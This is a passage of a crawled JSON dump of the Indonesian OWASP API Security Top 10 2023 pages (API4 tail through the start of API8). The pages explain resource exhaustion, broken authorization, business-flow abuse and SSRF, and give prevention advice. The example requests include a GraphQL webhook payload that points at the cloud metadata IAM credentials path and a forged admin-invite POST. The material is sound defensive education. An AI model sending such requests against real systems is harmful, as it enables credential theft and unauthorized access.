GraphQL)\n- Jumlah catatan per halaman untuk dikembalikan dalam satu permintaan-respons\n- Batas biaya untuk layanan pihak ketiga\n\n## Skenario Serangan Contoh\n\n### Skenario #1\n\nSebuah jejaring sosial mengimplementasikan alur \"lupa kata sandi\" menggunakan verifikasi SMS, hal ini memungkinkan pengguna menerima token sekali pakai melalui SMS untuk mereset kata sandi mereka.\n\nSetelah pengguna mengklik \"lupa kata sandi\" sebuah panggilan API dikirim dari browser pengguna ke API back-end:\n\n```\nPOST /initiate_forgot_password\n\n{\n \"step\": 1,\n \"user_number\": \"6501113434\" \n}\n```\n\nKemudian, di balik layar, panggilan API dikirim dari back-end ke API pihak ke-3 yang mengurus pengiriman SMS:\n\n```\nPOST /sms/send_reset_pass_code\n\nHost: willyo.net\n\n{\n \"phone_number\": \"6501113434\"\n}\n```\n\nPenyedia pihak ketiga, Willyo, membebankan $0,05 untuk setiap panggilan jenis ini.\n\nSeorang penyerang menulis skrip yang mengirim panggilan API pertama puluhan ribu kali. Back-end mengikuti dan meminta Willyo untuk mengirim puluhan ribu pesan teks, yang menyebabkan perusahaan kehilangan ribuan dolar dalam hitungan menit.\n\n### Skenario #2\n\nSebuah Endpoint API GraphQL memungkinkan pengguna mengunggah foto profil.\n\n```\nPOST /graphql\n\n{\n \"query\": \"mutation {\n uploadPic(name: \\\"pic1\\\", base64_pic: \\\"R0FOIEFOR0xJVA...\\\") {\n url\n }\n }\"\n}\n```\n\nBegitu proses unggah selesai, API menghasilkan beberapa thumbnail dengan ukuran berbeda berdasarkan gambar yang diunggah. Operasi grafis ini mengambil banyak memori server.\n\nAPI mengimplementasikan perlindungan pembatasan tradisional - pengguna tidak dapat mengakses endpoint GraphQL terlalu banyak dalam jangka waktu singkat. API juga memeriksa ukuran gambar yang diunggah sebelum menghasilkan thumbnail untuk menghindari memproses gambar yang terlalu besar.\n\nSeorang penyerang dapat dengan mudah mengatasi mekanisme tersebut, dengan memanfaatkan sifat fleksibel GraphQL:\n\n```\nPOST /graphql\n\n[\n {\"query\": \"mutation {uploadPic(name: \\\"pic1\\\", base64_pic: \\\"R0FOIEFOR0xJVA...\\\") {url}}\"},\n {\"query\": \"mutation {uploadPic(name: \\\"pic2\\\", base64_pic: \\\"R0FOIEFOR0xJVA...\\\") {url}}\"},\n ...\n {\"query\": \"mutation {uploadPic(name: \\\"pic999\\\", base64_pic: \\\"R0FO IEFOR0xJVA...\\\") {url}}\"}, \n]\n```\n\nKarena API tidak membatasi berapa kali operasi `uploadPic` dapat dicoba, panggilan akan menyebabkan habisnya memori server dan Denial of Service.\n\n### Skenario #3\n\nSebuah penyedia layanan memungkinkan klien mengunduh file berukuran sebesar apa pun menggunakan API-nya. File-file ini disimpan di penyimpanan objek cloud dan jarang berubah. Penyedia layanan mengandalkan layanan cache agar memiliki tingkat layanan yang lebih baik dan menjaga konsumsi bandwidth tetap rendah. Layanan cache hanya menyimpan file hingga 15GB.\n\nKetika salah satu file diperbarui, ukurannya meningkat menjadi 18GB. Semua klien layanan segera mulai menarik versi baru. Karena tidak ada peringatan biaya konsumsi, atau pengeluaran maksimum yang diizinkan untuk layanan cloud, tagihan bulanan berikutnya meningkat dari rata-rata US$13 menjadi US$8 ribu.\n\n## Cara Mencegah\n\n- Gunakan solusi yang memudahkan pembatasan [memori](https://docs.docker.com/config/containers/resource_constraints/#memory) , [CPU](https://docs.docker.com/config/containers/resource_constraints/#cpu) , [jumlah restart](https://docs.docker.com/engine/reference/commandline/run/#restart) , [deskriptor file, dan proses](https://docs.docker.com/engine/reference/commandline/run/#ulimit) seperti Kontainer / Serverless code (misalnya Lambda).\n- Tentukan dan pastikan ukuran data maksimum pada semua parameter dan payload masukan, seperti panjang maksimum string, jumlah elemen maksimum array, dan ukuran file unggah maksimum (terlepas apakah disimpan secara lokal atau di penyimpanan cloud).\n- Terapkan batas seberapa sering klien dapat berinteraksi dengan API dalam rentang waktu tertentu (pembatasan laju).\n- Pembatasan laju harus diatur berdasarkan kebutuhan bisnis. Beberapa Endpoint API mungkin memerlukan kebijakan yang lebih ketat.\n- Batasi/atur seberapa banyak atau seberapa sering satu klien/pengguna API dapat mengeksekusi operasi tunggal (misalnya memvalidasi OTP, atau meminta pemulihan kata sandi tanpa mengunjungi URL sekali pakai).\n- Tambahkan validasi sisi server yang tepat untuk parameter string kueri dan body permintaan, khususnya yang mengendalikan jumlah catatan yang akan dikembalikan dalam respons.\n- Konfigurasikan batas pengeluaran untuk semua penyedia layanan/integrasi API. Jika tidak memungkinkan untuk membatasi pengeluaran, sebaiknya konfigurasi peringatan tagihan.\n\n## Referensi\n\n### OWASP\n\n- [\"Ketersediaan\" - Cheat Sheet Keamanan Layanan Web](https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html#availability)\n- [\"Pencegahan DoS\" - Cheat Sheet GraphQL](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#dos-prevention)\n- [\"Meredam Serangan Batching\" - Cheat Sheet GraphQL](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks)\n\n### Eksternal\n\n- [CWE-770: Alokasi Sumber Daya Tanpa Batasan atau Pengaturan](https://cwe.mitre.org/data/definitions/770.html)\n- [CWE-400: Konsumsi Sumber Daya yang Tidak Terkendali](https://cwe.mitre.org/data/definitions/400.html)\n- [CWE-799: Kontrol Interaksi Frekuensi yang Tidak Tepat](https://cwe.mitre.org/data/definitions/799.html)\n- \"Pembatasan Laju (Pengaturan)\" - [Strategi Keamanan untuk Sistem Aplikasi Berbasis Mikroservis](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf) , NIST", "znaku_textu": 7430, "slov": 855, "odkazu": 76, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:26", "sha256": "0793490fdb06dfaabfaed502728ac82cdc2ab454e169f2a51f555fbe55faea02", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://docs.docker.com/config/containers/resource_constraints/", "https://docs.docker.com/engine/reference/commandline/run/", "https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/770.html", "https://cwe.mitre.org/data/definitions/400.html", "https://cwe.mitre.org/data/definitions/799.html", "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/id/0xa5-broken-function-level-authorization/", "titulek": "API5:2023 Otorisasi Tingkat Fungsi yang Rusak - OWASP API Security Top 10", "h1": "API5:2023 Otorisasi Tingkat Fungsi yang Rusak", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/id/0xa5-broken-function-level-authorization/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API5:2023 Otorisasi Tingkat Fungsi yang Rusak"}, {"uroven": 2, "text": "Apakah API Rentan?"}, {"uroven": 2, "text": "Skenario Serangan Contoh"}, {"uroven": 3, "text": "Skenario #1"}, {"uroven": 3, "text": "Skenario #2"}, {"uroven": 2, "text": "Cara Mencegah"}, {"uroven": 2, "text": "Referensi"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Eksternal"}], "markdown": "# API5:2023 Otorisasi Tingkat Fungsi yang Rusak\n\n| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak |\n| --- | --- | --- |\n| Khusus API: **Mudah** dieksploitasi | **Umum** Prevalensi: **Mudah** Terdeteksi | **Parah** Teknis: Spesifik Bisnis |\n| Eksploitasi mengharuskan penyerang mengirim panggilan API yang sah ke endpoint API yang seharusnya tidak dapat mereka akses sebagai pengguna anonim atau pengguna biasa non-istimewa. Endpoint yang terpapar akan dengan mudah dieksploitasi. | Pemeriksaan otorisasi untuk fungsi atau sumber daya biasanya dikelola melalui konfigurasi atau level kode. Menerapkan pemeriksaan yang tepat dapat menjadi tugas yang membingungkan karena aplikasi modern dapat terdiri dari banyak jenis peran, grup, dan hierarki pengguna yang kompleks (misalnya sub-pengguna, atau pengguna dengan lebih dari satu peran). Lebih mudah menemukan kelemahan ini di API karena API lebih terstruktur, dan mengakses fungsi yang berbeda lebih dapat diprediksi. | Kelemahan seperti itu memungkinkan penyerang mengakses fungsionalitas yang tidak sah. Fungsi administratif menjadi target utama untuk jenis serangan ini dan dapat menyebabkan pengungkapan data, kehilangan data, atau kerusakan data. Pada akhirnya, dapat menyebabkan gangguan layanan. |\n\n## Apakah API Rentan?\n\nCara terbaik untuk menemukan masalah otorisasi tingkat fungsi yang rusak adalah dengan melakukan analisis mendalam tentang mekanisme otorisasi dengan tetap mempertimbangkan hierarki pengguna, peran atau grup yang berbeda dalam aplikasi, dan mengajukan pertanyaan berikut:\n\n- Apakah pengguna reguler dapat mengakses endpoint administratif?\n- Apakah pengguna dapat melakukan tindakan sensitif (misalnya pembuatan, modifikasi, atau penghapusan) yang seharusnya tidak bisa diakses dengan hanya mengubah metode HTTP (misalnya dari `GET` ke `DELETE` )?\n- Apakah pengguna dari grup X dapat mengakses fungsi yang seharusnya hanya dapat diakses pengguna dari grup Y, dengan hanya menebak URL endpoint dan parameternya (misalnya `/api/v1/users/export_all` )?\n\nJangan mengasumsikan bahwa sebuah endpoint API adalah endpoint reguler atau administratif hanya berdasarkan jalur URL-nya.\n\nMeskipun pengembang mungkin memilih untuk mengekspos sebagian besar endpoint administratif di path relatif tertentu, seperti `/api/admins`, sangat umum menemukan endpoint administratif ini di path relatif lain bersama dengan endpoint reguler, seperti `/api/users`.\n\n## Skenario Serangan Contoh\n\n### Skenario #1\n\nSelama proses pendaftaran untuk aplikasi yang hanya mengizinkan pengguna yang diundang untuk bergabung, aplikasi seluler memicu panggilan API ke `GET /api/invites/{invite_guid}`. Respons berisi sebuah JSON dengan detail tentang undangan, termasuk peran pengguna dan email pengguna.\n\nSeorang penyerang menduplikasi permintaan dan memanipulasi metode HTTP dan endpoint menjadi `POST /api/invites/new`. Endpoint ini hanya boleh diakses oleh administrator menggunakan konsol admin. Endpoint tidak menerapkan pemeriksaan otorisasi tingkat fungsi.\n\nPenyerang mengeksploitasi masalah tersebut dan mengirim undangan baru dengan hak istimewa admin:\n\n```\nPOST /api/invites/new\n\n{\n \"email\": \"[email protected]\",\n \"role\":\"admin\" \n}\n```\n\nSelanjutnya, penyerang menggunakan undangan yang dibuat secara curang tersebut untuk membuat akun admin bagi dirinya sendiri dan mendapatkan akses penuh ke sistem.\n\n### Skenario #2\n\nSebuah API berisi endpoint yang seharusnya hanya terungkap ke administrator - `GET /api/admin/v1/users/all`. Endpoint ini mengembalikan detail semua pengguna aplikasi dan tidak menerapkan pemeriksaan otorisasi tingkat fungsi. Seorang penyerang yang mempelajari struktur API melakukan tebakan cerdas dan berhasil mengakses endpoint ini, yang mengekspos detail sensitif para pengguna aplikasi.\n\n## Cara Mencegah\n\nAplikasi Anda harus memiliki modul otorisasi yang konsisten dan mudah dianalisis yang dipanggil dari semua fungsi bisnis Anda. Seringkali, perlindungan seperti itu disediakan oleh satu atau lebih komponen eksternal untuk kode aplikasi.\n\n- Mekanisme penegakan harus menolak semua akses secara default, dibutuhkan hak akses yang eksplisit ke peran tertentu untuk mengakses setiap fungsi.\n- Tinjau endpoint API Anda terhadap kelemahan otorisasi tingkat fungsi, dengan tetap memperhatikan logika bisnis aplikasi dan hierarki grup.\n- Pastikan semua pengendali administratif Anda mewarisi kendali abstrak administratif yang menerapkan pemeriksaan otorisasi berdasarkan grup/peran pengguna.\n- Pastikan fungsi administratif di dalam pengendali reguler menerapkan pemeriksaan otorisasi berdasarkan grup dan peran pengguna.\n\n## Referensi\n\n### OWASP\n\n- [Pemaksaan Penelusuran](https://owasp.org/www-community/attacks/Forced_browsing)\n- \"A7: Hilangnya Kendali Akses Tingkat Fungsi\", [OWASP Top 10 2013](https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf)\n- [Kontrol Akses](https://owasp.org/www-community/Access_Control)\n\n### Eksternal\n\n- [CWE-285: Otorisasi yang Tidak Tepat](https://cwe.mitre.org/data/definitions/285.html)", "znaku_textu": 4906, "slov": 599, "odkazu": 69, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:35", "sha256": "64f21560eb01e65556f8a63fb8f1462394fdcd5f7850c8729cd7e8a11b9630f4", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf", "https://cwe.mitre.org/data/definitions/285.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/id/0xa6-unrestricted-access-to-sensitive-business-flows/", "titulek": "API6:2023 Akses Tanpa Batas ke Aliran Bisnis Sensitif - OWASP API Security Top 10", "h1": "API6:2023 Akses Tanpa Batas ke Aliran Bisnis Sensitif", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/id/0xa6-unrestricted-access-to-sensitive-business-flows/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API6:2023 Akses Tanpa Batas ke Aliran Bisnis Sensitif"}, {"uroven": 2, "text": "Apakah API Rentan?"}, {"uroven": 2, "text": "Contoh Skenario Serangan"}, {"uroven": 3, "text": "Skenario #1"}, {"uroven": 3, "text": "Skenario #2"}, {"uroven": 3, "text": "Skenario #3"}, {"uroven": 2, "text": "Cara Mencegah"}, {"uroven": 2, "text": "Referensi"}, {"uroven": 3, "text": "OWASP"}], "markdown": "# API6:2023 Akses Tanpa Batas ke Aliran Bisnis Sensitif\n\n| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak |\n| --- | --- | --- |\n| Khusus API: **Mudah** dieksploitasi | Prevalensi **Luas** : Terdeteksi **Rata-rata** | Teknis **Sedang** : Spesifik Bisnis |\n| Eksploitasi biasanya melibatkan pemahaman model bisnis yang didukung oleh API, menemukan aliran bisnis sensitif, dan mengotomatisasi akses ke aliran tersebut, yang merugikan bisnis. | Kurangnya pandangan holistik tentang API untuk sepenuhnya mendukung persyaratan bisnis cenderung berkontribusi pada prevalensi masalah ini. Penyerang secara manual mengidentifikasi sumber daya (misalnya endpoint) apa yang terlibat dalam alur kerja target dan bagaimana mereka bekerja sama. Jika mekanisme mitigasi sudah ada, penyerang perlu menemukan cara untuk melewatinya. | Secara umum, dampak teknis tidak diharapkan. Eksploitasi mungkin merugikan bisnis dengan berbagai cara, misalnya: mencegah pengguna sah membeli produk, atau menyebabkan inflasi dalam perekonomian internal sebuah game. |\n\n## Apakah API Rentan?\n\nSaat membuat Endpoint API, penting untuk memahami aliran bisnis apa yang dieksposnya. Beberapa aliran bisnis lebih sensitif daripada yang lain, dalam artian akses berlebihan ke dalamnya dapat merugikan bisnis.\n\nContoh umum aliran bisnis sensitif dan risiko akses berlebihan yang terkait dengannya:\n\n- Aliran pembelian produk - seorang penyerang dapat membeli semua persediaan item yang sangat diminati secara sekaligus dan menjual kembali dengan harga yang lebih tinggi (penimbunan)\n- Aliran membuat komentar/posting - seorang penyerang dapat men-spam sistem\n- Melakukan reservasi - seorang penyerang dapat memesan semua slot waktu yang tersedia dan mencegah pengguna lain menggunakan sistem\n\nRisiko akses berlebihan mungkin berubah antar industri dan bisnis. Misalnya - pembuatan post oleh skrip mungkin dianggap sebagai risiko spam oleh satu jejaring sosial, tetapi didorong oleh jejaring sosial lainnya.\n\nSebuah Endpoint API rentan jika mengekspos aliran bisnis sensitif, tanpa membatasi akses ke dalamnya dengan tepat.\n\n## Contoh Skenario Serangan\n\n### Skenario #1\n\nSebuah perusahaan teknologi mengumumkan akan merilis konsol game baru di hari Thanksgiving. Produk ini memiliki permintaan yang sangat tinggi dan persediaannya terbatas. Seorang penyerang menulis kode untuk secara otomatis membeli produk baru dan menyelesaikan transaksi.\n\nPada hari rilis, penyerang menjalankan kode yang didistribusikan di berbagai alamat IP dan lokasi. API tidak menerapkan perlindungan yang tepat dan memungkinkan penyerang untuk membeli sebagian besar persediaan sebelum pengguna sah lainnya.\n\nKemudian, penyerang menjual produk di platform lain dengan harga jauh lebih tinggi.\n\n### Skenario #2\n\nSebuah maskapai penerbangan menawarkan pembelian tiket online tanpa biaya pembatalan. Seorang pengguna dengan niat jahat memesan 90% kursi penerbangan yang diinginkan.\n\nBeberapa hari sebelum penerbangan pengguna jahat membatalkan semua tiket sekaligus, yang memaksa maskapai untuk memberikan diskon harga tiket untuk mengisi penerbangan.\n\nPada titik ini, pengguna membeli satu tiket untuk dirinya sendiri yang jauh lebih murah dari yang asli.\n\n### Skenario #3\n\nSebuah aplikasi ride-sharing menyediakan program referral - pengguna dapat mengundang teman mereka dan mendapatkan kredit untuk setiap teman yang bergabung dengan aplikasi. Kredit ini kemudian dapat digunakan sebagai uang tunai untuk memesan tumpangan.\n\nSeorang penyerang mengeksploitasi alur ini dengan menulis skrip untuk mengotomatisasi proses pendaftaran, dengan setiap pengguna baru menambahkan kredit ke dompet penyerang.\n\nPenyerang kemudian dapat menikmati tumpangan gratis atau menjual akun dengan kredit berlebihan untuk uang tunai.\n\n## Cara Mencegah\n\nPerencanaan mitigasi harus dilakukan dalam dua lapisan:\n\n- Bisnis - identifikasi aliran bisnis yang mungkin merugikan bisnis jika digunakan secara berlebihan.\n- Rekayasa - pilih mekanisme perlindungan yang tepat untuk memitigasi risiko bisnis. Beberapa mekanisme perlindungan lebih sederhana sementara yang lain lebih sulit diterapkan. Metode berikut digunakan untuk memperlambat ancaman otomatis:\n - Fingerprinting perangkat: menolak layanan ke perangkat klien yang tidak diharapkan (misalnya headless browser) cenderung membuat aktor ancaman menggunakan solusi yang lebih canggih, sehingga lebih mahal bagi mereka\n - Deteksi manusia: menggunakan captcha atau solusi biometrik tingkat lanjut (misalnya pola pengetikan)\n - Pola non-manusia: menganalisis alur pengguna untuk mendeteksi pola non-manusia (misalnya pengguna mengakses fungsi \"tambah ke keranjang\" dan \"selesaikan pembelian\" dalam waktu kurang dari satu detik)\n - Pertimbangkan memblokir alamat IP dari node keluar Tor dan proxy terkenal\n\nAmankan dan batasi akses ke API yang dikonsumsi langsung oleh mesin (seperti API pengembang dan B2B). Mereka cenderung menjadi target yang mudah bagi penyerang karena seringkali tidak menerapkan semua mekanisme perlindungan yang diperlukan.\n\n## Referensi\n\n### OWASP\n\n- [OWASP Ancaman Otomatis ke Aplikasi Web](https://owasp.org/www-project-automated-threats-to-web-applications/)\n- [API10:2019 Pencatatan & Pemantauan yang Tidak Memadai](https://owasp.org/API-Security/editions/2019/id/0xaa-insufficient-logging-monitoring/)", "znaku_textu": 5175, "slov": 665, "odkazu": 66, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:45", "sha256": "9bbfedd6fa2c87b6634682b699632a3a0bd59ca997d27bf50781cf17b2b5e6c8", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/id/0xa7-server-side-request-forgery/", "titulek": "API7:2023 Pemalsuan Permintaan Sisi Server - OWASP API Security Top 10", "h1": "API7:2023 Pemalsuan Permintaan Sisi Server", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/id/0xa7-server-side-request-forgery/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API7:2023 Pemalsuan Permintaan Sisi Server"}, {"uroven": 2, "text": "Apakah API Rentan?"}, {"uroven": 2, "text": "Contoh Skenario Serangan"}, {"uroven": 3, "text": "Skenario #1"}, {"uroven": 3, "text": "Skenario #2"}, {"uroven": 2, "text": "Cara Mencegah"}, {"uroven": 2, "text": "Referensi"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Eksternal"}], "markdown": "# API7:2023 Pemalsuan Permintaan Sisi Server\n\n| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak |\n| --- | --- | --- |\n| Khusus API: **Mudah** dieksploitasi | Prevalensi **Umum** : **Mudah** Terdeteksi | Teknis **Sedang** : Spesifik Bisnis |\n| Eksploitasi membutuhkan penyerang untuk menemukan endpoint API yang mengakses URI yang disediakan oleh klien. Secara umum, SSRF dasar (saat respons dikembalikan ke penyerang) lebih mudah dieksploitasi daripada Blind SSRF ketika penyerang tidak menerima informasi apakah serangan berhasil atau tidak. | Konsep modern dalam pengembangan aplikasi mendorong pengembang untuk mengakses URI yang disediakan oleh klien. Kurangnya atau validasi yang tidak tepat dari URI tersebut adalah masalah yang umum. Permintaan dan analisis respons API reguler akan dibutuhkan untuk mendeteksi masalah tersebut. Ketika respons tidak dikembalikan (Blind SSRF) mendeteksi kerentanan membutuhkan lebih banyak upaya dan kreativitas. | Eksploitasi yang berhasil mungkin mengarah ke enumerasi layanan internal (misalnya pemindaian port), pengungkapan informasi, menghindari firewall, atau mekanisme keamanan lainnya. Dalam beberapa kasus, dapat mengarah ke DoS atau server digunakan sebagai proxy untuk menyembunyikan kegiatan berbahaya. |\n\n## Apakah API Rentan?\n\nCelah Pemalsuan Permintaan Sisi Server (SSRF) terjadi ketika API mengambil sumber daya jarak jauh tanpa memvalidasi URL yang diberikan pengguna. Hal ini memungkinkan penyerang memaksa aplikasi untuk mengirim permintaan yang dibuat ke tujuan yang tidak terduga, bahkan ketika dilindungi oleh firewall atau VPN.\n\nKonsep modern dalam pengembangan aplikasi membuat SSRF lebih umum dan lebih berbahaya.\n\nLebih umum - konsep berikut mendorong pengembang untuk mengakses sumber daya eksternal berdasarkan masukan pengguna: Webhook, mengambil file dari URL, SSO kustom, dan pratinjau URL.\n\nLebih berbahaya - Teknologi modern seperti penyedia cloud, Kubernetes, dan Docker mengekspos saluran manajemen dan kontrol melalui HTTP pada jalur yang dapat diprediksi dan dikenal dengan baik. Saluran tersebut adalah target yang mudah untuk serangan SSRF.\n\nJuga lebih menantang untuk membatasi lalu lintas keluar aplikasi Anda, karena sifat terhubung aplikasi modern.\n\nRisiko SSRF tidak selalu dapat sepenuhnya dihilangkan. Saat memilih mekanisme perlindungan, penting untuk mempertimbangkan risiko bisnis dan kebutuhan.\n\n## Contoh Skenario Serangan\n\n### Skenario #1\n\nSebuah jejaring sosial memungkinkan pengguna mengunggah foto profil. Pengguna dapat memilih untuk mengunggah file gambar dari mesin mereka, atau menyediakan URL gambar. Memilih opsi kedua, akan memicu panggilan API berikut:\n\n```\nPOST /api/profile/upload_picture \n\n{\n \"picture_url\": \"http://example.com/profile_pic.jpg\" \n}\n```\n\nSeorang penyerang dapat mengirim URL berbahaya dan memulai pemindaian port di jaringan internal menggunakan Endpoint API.\n\n```\n{\n \"picture_url\": \"localhost:8080\"\n}\n```\n\nBerdasarkan waktu respons, penyerang dapat mengetahui apakah port terbuka atau tidak.\n\n### Skenario #2\n\nSebuah produk keamanan menghasilkan peristiwa ketika mendeteksi anomali di jaringan. Beberapa tim lebih suka meninjau peristiwa dalam sistem pemantauan yang lebih luas dan generik, seperti SIEM (Security Information and Event Management). Untuk tujuan ini, produk menyediakan integrasi dengan sistem lain menggunakan webhook.\n\nSebagai bagian dari pembuatan webhook baru, mutasi GraphQL dikirim dengan URL API SIEM.\n\n```\nPOST /graphql\n\n[\n {\n \"variables\": {},\n \"query\": \"mutation {\n createNotificationChannel(input: {\n channelName: \\\"ch_piney\\\",\n notificationChannelConfig: {\n customWebhookChannelConfigs: [\n {\n url: \\\"http://www.siem-system.com/create_new_event\\\",\n send_test_req: true\n }\n ]\n }\n }){\n channelId\n }\n }\"\n }\n]\n```\n\nSelama proses pembuatan, back-end API mengirim permintaan uji ke URL webhook yang diberikan, dan menyajikan respons ke pengguna.\n\nSeorang penyerang dapat memanfaatkan alur ini, dan membuat permintaan API untuk sumber daya sensitif, seperti layanan metadata cloud internal yang mengekspos kredensial:\n\n```\nPOST /graphql\n\n[\n {\n \"variables\": {},\n \"query\": \"mutation {\n createNotificationChannel(input: {\n channelName: \\\"ch_piney\\\",\n notificationChannelConfig: {\n customWebhookChannelConfigs: [\n {\n url: \\\"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\\\",\n send_test_req: true\n }\n ]\n }\n }) {\n channelId\n }\n }\n }\n]\n```\n\nKarena aplikasi menampilkan respons dari permintaan uji, penyerang dapat melihat kredensial lingkungan cloud.\n\n## Cara Mencegah\n\n- Isolasi mekanisme pengambilan sumber daya di jaringan Anda: biasanya fitur ini bertujuan untuk mengambil sumber daya jarak jauh dan bukan internal.\n- Kapan pun memungkinkan, gunakan allow list untuk:\n - Asal lokasi sumber daya (misalnya Google Drive, Gravatar, dll.) yang diharapkan digunakan pengguna untuk mengunduh sumber daya\n - Skema URL dan port\n - Jenis media yang diterima untuk fungsionalitas tertentu\n- Nonaktifkan pengalihan HTTP.\n- Gunakan parser URL yang diuji dan dikelola dengan baik untuk menghindari masalah yang disebabkan oleh inkonsistensi parsing URL.\n- Validasi dan bersihkan semua data input yang diberikan klien.\n- Jangan kirim respons mentah ke klien.\n\n## Referensi\n\n### OWASP\n\n- [Server Side Request Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)\n- [Server-Side Request Forgery Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n### Eksternal\n\n- [CWE-918: Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)\n- [URL confusion vulnerabilities in the wild: Exploring parser inconsistencies,\n Snyk](https://snyk.io/blog/url-confusion-vulnerabilities/)", "znaku_textu": 5621, "slov": 682, "odkazu": 68, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:49", "sha256": "add0b29dffe834cf11d839a58c8291e49d26cada1ec915e878efc08dd6fdf61b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/918.html", "https://snyk.io/blog/url-confusion-vulnerabilities/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/id/0xa8-security-misconfiguration/", "titulek": "API8:2023 Miskonfigurasi Keamanan - OWASP API Security Top 10", "h1": "API8:2023 Miskonfigurasi Keamanan", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/id/0xa8-security-misconfiguration/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API8:2023 Miskonfigurasi Keamanan"}, {"uroven": 2, "text": "Apakah API Rentan?"}, {"uroven": 2, "text": "Contoh Skenario Serangan"}, {"uroven": 3, "text": "Skenario #1"}, {"uroven": 3, "text": "Skenario #2"}, {"uroven": 2, "text": "Cara Mencegah"}, {"uroven": 2, "text": "Referensi"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Eksternal"}], "markdown": "# API8:2023 Miskonfigurasi Keamanan\n\n| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak |\n| --- | --- | --- |\n| Khusus API : Kemungkinan Dieksploitasi **Mudah** | Prevalensi **Luas** : Kemungkinan Dideteksi **Mudah** | Teknis **Parah** : Khusus Bisnis |\n| Penyerang sering mencoba menemukan kelemahan yang belum diperbaiki, endpoint umum, layanan yang berjalan dengan konfigurasi default yang tidak aman, atau file dan direktori yang tidak terlindungi untuk mendapatkan akses tidak sah atau pengetahuan tentang sistem. Sebagian besar informasi ini adalah pengetahuan publik dan eksploitasi mungkin tersedia. | Kesalahan konfigurasi keamanan dapat terjadi di semua tingkat stack API, mulai dari tingkat jaringan hingga tingkat aplikasi. Alat otomatis tersedia untuk mendeteksi dan mengeksploitasi kesalahan konfigurasi seperti layanan yang tidak perlu atau opsi warisan. | Kesalahan konfigurasi keamanan tidak hanya mengekspos data pengguna yang sensitif, tetapi juga detail sistem yang dapat menyebabkan kompromi penuh server. |\n\n## Apakah API Rentan?\n\nAPI menjadi rentan bila:\n\n- Tidak ada penguncian keamanan yang sesuai di seluruh bagian stack API,\n atau izin yang dikonfigurasi dengan tidak benar pada layanan cloud\n- Tidak ada patch keamanan terbaru, atau sistem sudah kadaluwarsa\n- Fitur yang tidak diperlukan diaktifkan (misalnya, verba HTTP, fitur logging)\n- Ada ketidaksesuaian dalam cara permintaan masuk diproses oleh server\n dalam rantai server HTTP\n- Tidak ada Keamanan Lapisan Transportasi (TLS)\n- Direktif keamanan atau kendali cache tidak dikirimkan kepada klien\n- Kebijakan 